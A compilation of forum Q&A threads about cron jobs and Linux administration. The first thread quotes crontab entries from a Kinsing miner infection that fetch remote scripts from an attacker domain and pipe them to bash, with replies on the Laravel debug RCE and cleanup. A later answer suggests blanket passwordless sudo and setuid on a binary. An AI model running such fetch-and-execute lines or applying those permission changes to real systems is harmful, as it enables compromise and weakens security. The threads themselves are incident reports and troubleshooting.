I found that in the company server there is a crontab that runs with this code:
*/3 * * * * curl -sk "http://repo1.criticalnumeric.tech/kworker?time=1612899272" | bash;wget "http://repo1.criticalnumeric.tech/kworker?time=1612899272" -q -o /dev/null -O - | bash;busybox wget "http://repo1.criticalnumeric.tech/kworker?time=1612899272" -q -O - | bash
If you go to that URL it reads:
"This is official page of repository linux"
This is weird, none of our engineers added this on the crontab, which makes me think that it could be an attack.
Any thoughts?
If your server is hosting a web application built using Laravel framework and if your debug mode is turned on, you are probably suffering from a recent RCE (Remote Code Execution) exploit.
Blogpost about technical details of the bug: https://www.ambionics.io/blog/laravel-debug-rce
CVE: https://nvd.nist.gov/vuln/detail/CVE-2021-3129
My professional recommendation: Never run your application with debug mode open on production.
The kinsing malware is the responsible for this attack, this takes control over the crontab to maintain infected the server, I had experience with this attack and for me the only way to clean the server is to backup all the important data and reinstall from cero, I followed all the recipes and nothing work to stop it, the most important with this attack is to change the permission on the cron tab file avoiding the malware to overwrite it.
Another important thing is to see the permissions of the .ssh on the infected user, because this prevents to login using the ssh keys, you must restore the permissions to the original state to grant access again.
Search for the kdevtmpfsi executable that is somewhere in the /var/tmp, delete it and create a dummy file with the same name with all the permissions to 000, this action is not the cure but serve to gain time to backup.
I think that it is related to the issue on the link below. I saw similar entries appear on the result of a ps aux command on one of our servers. If you are unlucky, you will find kdevtmpfsi is now hogging all of your CPU.
kdevtmpfsi - how to find and delete that miner
We had same attack sat Feb 13, I changed the permisions to the crontab directory only rwx to root. Before we killed all the process of www-data with "killall -u www-data -9 " so far no other instance of the offending process... will keep monitoring. Also we disabled curl because we don't needed it.
I'm having same problem. Debian 10 server.
I checked with htop and found these:
curl -kL http://repo1.criticalnumeric.tech/scripts/cnc/install?time=1613422342
and
bash /tmp/.ssh-www-data/kswapd4
Both under www-data user. Those processes were using whole resources (CPU and memory).
Found something strange in www-data cron
root#***:/var/www# cat /var/spool/cron/crontabs/www-data
# DO NOT EDIT THIS FILE - edit the master and reinstall.
# (/tmp/tmp.eK8YZtGlIC/.sync.log installed on Mon Feb 15 23:27:41 2021)
# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)
*/3 * * * * curl -sk "http://repo1.criticalnumeric.tech/init?time=1613424461" | bash && wget "http://repo1.criticalnumeric.tech/init?time=1613424461" -q -o /dev/null -O - | bash && busybox wget "http://repo1.criticalnumeric.tech/init?time=1613424461" -q -O - | bash
#reboot curl -sk "http://repo1.criticalnumeric.tech/init?time=1613424461" | bash && wget "http://repo1.criticalnumeric.tech/init?time=1613424461" -q -o /dev/null -O - | bash && busybox wget "http://repo1.criticalnumeric.tech/init?time=1613424461" -q -O - | bash
https://pastebin.com/Q049ZZtW
I think I have to reinstall Debian 10 on my server... Or how to clean it?
Related
I have been recently working on a project named: arch loop, which is an automated installer for Arch Linux. I have seen a few installers and scripts to make Arch installation easier, but I am someone who installs Arch Linux, more than three times a day, so following the Arch-way takes a long time and constantly requires user interaction.
The Problem:
The password is, the information about non-root user is to be created is taken before itself, and when the appropriate time comes, we will be using the following command:
arch-chroot /mnt useradd -m -g users -G wheel -s /usr/bin/bash archuser
arch-chroot /mnt bash -c "echo -e 'password\npassword\n' | passwd
arch-chroot /mnt bash -c "echo -e 'rootpassword\nrootpassword\n' | passwd root
to send the password to passwd binary in the chroot system. But I don't know why it does not work. When the password is being verified by the sudo command after the installation is finished. The password seems to be perfectly working. But when tried to log in with the non-root user from tty, the password seems to be incorrect.
Things I Have Already Tried:
Manually encrypting the provided password with the below code and passing it to the useradd binary with -p option:
perl -e 'print crypt("password", "\$6\$SALTsalt\$") . "\n"'"
Please guide me on how to set a user's provided password at a later time, without requiring any user interaction.
Thank You :)
There exists the chpasswd command. It is just there only to make passwd available in batch scripts. Just do:
echo "root:rootpassword" | arch-chroot /mnt chpasswd
or maybe better, without the need for mount -o bind the sys proc and dev directories:
echo "root:rootpassword" | chpasswd -R /mnt
#subjective: Sorry for the opinion, the project looks ok, however much more work is to be done. I guess the aim is to bring Archlinux closer to "normal" users. However, I don't like the choose of python for the project. Going with plain POSIX sh would make this available for all. I don't like hardcoded partitions, mlocate (do you really use mlocate?), multiple arch-chroot calls where you could just do a single big script, not handling os.system error codes (!), multiple pacman calls without even -Sy (!) (pacman can fail if upstream updates the repos), and few more things I don't like. Except for that, nice python abstraction and cool aim. I remember the old archlinux installation scripts few (or more) years ago, they were nice, however I think used commands themselves anyway. Good luck.
The way as below works for Ubuntu, I think it should work for Arch too.
First, you should have had a machine, which has installed the Arch. Then you add the user that you need with the two commands: useradd and passwd. After that, you could cat /etc/shadow | grep [username] to get the information of the password of the user added by you, it should be a string, let's say it is XXX.
Now, on your target system, after arch-chroot /mnt useradd -m -g users -G wheel -s /usr/bin/bash archuser, you add the string coming from cat /etc/shadow | grep [username] into the /etc/shadow of the target system. The command should be like arch-chroot /mnt sed -i "XXX" /etc/shadow.
One more thing, you must make sure that the version of the Arch which you get the information of the password and the version of the target system are the same.
To make things clear first: I'm using a virtual machine which is offline - security is therefor no showstopper for my need.
I have a simple bash script which performs which uses wmctrl to gracefully closes a process. KILL is not an option:
* * * * * sudo wmctrl -xc notepadqq-bin.Notepadqq
* * * * * /bin/echo "works" >> /home/usr/cron.log
I tried sudo crontab -e as well as crontab -e, the cron.log is written every minute, however the wmctrl command is not working.
I even tried to echo "password" | sudo -S rm somefile but this doesnt work for me either.
TIA!
First I'm going to make some assumptions (please correct me if these are wrong and I'll try to adapt the answer for you)
Assumptions:
you want to use cron and not any old job manager (I think this is safe from your question)
you are already familiar with cron and would like the cronjobs to actually run as often as possible (this seems odd to me but may not be central to the question at hand) ( Edit:
I also agree with that other guy's recommendation to look at https://stackoverflow.com/tags/cron/info as it provides more in depth discussion on the use of cron )
you want to use sudo for root privileges and not have the cron daemon run as root (which is normal on most systems)
you are not satisfied with chown 0:0 $(which wmctrl) the effect of chmod 4755 $(which wmctrl) or more restrictive chmod 4755 $(which wmctrl)
the results of a cron tab line "* * * * * sudo wmctrl -d >> /home/usr/cron.log" shows this "notepadqq-bin.Notepadqq" is still active from cron's perspective (IF THIS IS NOT THE CASE check the environment variables for wmctrl are preserved from cron't perspective. and let me know this assumption was wrong)
your comment "even tried to echo "password" | sudo -S rm somefile but this doesn't work for me either." implies you have a password for using sudo
You mean your comment "security is therefor no showstopper for my need"
Ensure Sudoers allows the script call
Given those assumptions, I'd recommend first looking into how sudo is setup:
Try this:
(DO NOT EDIT THIS FILE WITHOUT THE visudo command you can corrupt your system)
export EDITOR=vi ; sudo visudo -f /etc/sudoers
you will want a line similar to this:
%sudo ALL=(ALL) NOPASSWD: ALL
OR
cron ALL=(ALL) NOPASSWD: ALL
given that you can be sure the issue is not a password prompt issue with sudo and that the command (infact ALL commands run via sudo) are run as root by default (when not using -u to set to another user)
Hope this helps
I updated the script with the absolute paths. Also here is my current cronjob entry.
I went and fixed the ssh key issue so I know it works know, but might still need to tell rsync what key to use.
The script runs fine when called manually by user. It looks like not even the rm commands are being executed by the cron job.
UPDATE
I updated my script but basically its the same as the one below. Below I have a new cron time and added an error output.
I get nothing. It looks like the script doesn't even run.
crontab -e
35 0 * * * /bin/bash /x/y/z/s/script.sh 2>1 > /tmp/tc.log
#!/bin/bash
# Clean up
/bin/rm -rf /z/y/z/a/b/current/*
cd /z/y/z/a/to/
/bin/rm -rf ?s??/D????
cd /z/y/z/s/
# Find the latest file
FILE=`/usr/bin/ssh user#server /bin/ls -ht /x/y/z/t/a/ | /usr/bin/head -n 1`
# Copy over the latest archive and place it in the proper directory
/usr/bin/rsync -avz -e /urs/bin/ssh user#server:"/x/y/z/t/a/$FILE" /x/y/z/t/a/
# Unzip the zip file and place it in the proper directory
/usr/bin/unzip -o /x/y/z/t/a/$FILE -d /x/y/z/t/a/current/
# Run Dev's script
cd /x/y/z/t/
./old.py a/current/ t/ 5
Thanks for the help.
I figured it out, I'm use to working in cst and the server was in gmt time.
Thanks everybody for the help.
I have a simple script file to copy all files to a remote server and then delete them all. I could run this script by "user" manually, when i add into crontab (user), the first part, scp, works fine, but the rm part is always with failure.
i wonder what i am missing or set up incorrectly, could somebody help me out with this ?
thanks in advance
/home/user/bin/test.sh
#!/bin/bash
scp -v -r /var/spool/asterisk/monitor test#xx.xx.xx.xx:/home/test/audio&&sudo rm -f /var/spool/asterisk/monitor/*
access permission of /var/spool/asterisk/monitor
drwxr-xr-x. 1 root root 532 Sep 06 11:14 monitor
crontab - user]
* */1 * * * bash /home/user/bin/test.sh
try this, it will work if sudo does not require password ( and it is possible ) )
scp -v -r /var/spool/asterisk/monitor test#xx.xx.xx.xx:/home/test/audio && ssh test#xx.xx.xx.xx "sudo rm -f /var/spool/asterisk/monitor/*"
Make sure requiretty is off in /etc/sudoers. It is normally on by default on Red Hat.
I have a server installed with apache2 and drupal 6. In my server, I have installed a module which need to use cron. I have a SSL certificate installed too.
In my crontab y have this configuration:
* * * * * wget -O --q -t 1 http://domain:8280/folder/cron.php
* * * * * wget --no-check-certificate -O --q -t 1 https://domain/folder/cron.php
My server work but if I write this configuration in my sites-enabled/000-default:
redirect permanent / https://domain/
my module with cron stops working. This is my error in syslog:
grandchild #20349 failed with status 5
I need to redirect my traffic from http to https.
First, make sure your redirect directive in 000-default.conf is correct (see Apache wiki for details) and doesn't interfere with configuration in .htaccess file, if there is any.
Then fix you crontab this way:
Remove the first line, as you don't need plain http anymore
Change the second line for this:
wget --no-check-certificate -O /dev/null --quiet -t 1 https://domain/folder/cron.php
wget's option -O requires a path to a file, so either specify it, or just redirect to /dev/null. Also, in some versions of wget option -q considered ambiguous, so it's better to use --quiet to supress output instead.
Sometimes you may want to put your rather longish command into a shell script file, make it executable (chmod +x your-script.sh) and make sure it does exactly what you want it to do when run under the webserver's user (sudo -u www-data /path/to/your-script.sh and check if it did the trick to your drupal module). Then use the path to your script in the crontab. That will ensure that everything works like a charm and will keep your crontab neat and valid.